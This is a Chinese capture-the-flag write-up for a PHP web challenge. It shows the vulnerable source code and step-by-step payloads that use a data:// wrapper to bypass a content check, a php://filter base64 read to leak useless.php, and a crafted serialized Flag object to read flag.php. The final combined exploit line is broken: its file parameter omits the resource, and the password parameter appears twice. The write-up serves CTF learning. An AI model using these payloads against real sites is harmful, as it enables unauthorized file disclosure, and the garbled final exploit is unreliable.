解题
题目直接给出了源码
<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>
简单浏览一下,是个PHP反序列化和几个绕过,可以利用伪协议
第一个绕过
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
$text要==="welcome to the zjctf" ,这个好绕,利用data://
text=data://text/plain,welcome to the zjctf
第二个绕过
if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; }
这里有个userless.php,因为没有过滤,所以就想到了 php://filter/read=convert.base64-encode/resource=
file=php://filter/read=convert.base64-encode/resource=useless.php
这里要结合第一个绕过
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
base64解码后
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
第三个绕过
$password = $_GET["password"]; include($file); //useless.php $password = unserialize($password); echo $password;
这是反序列化,结合刚刚的flag.php内容,本地构造一下
<?php class Flag{ //flag.php public $file="flag.php"; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $a = new Flag(); echo serialize($a); ?>
password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最后的exp
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode&password=
password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看源码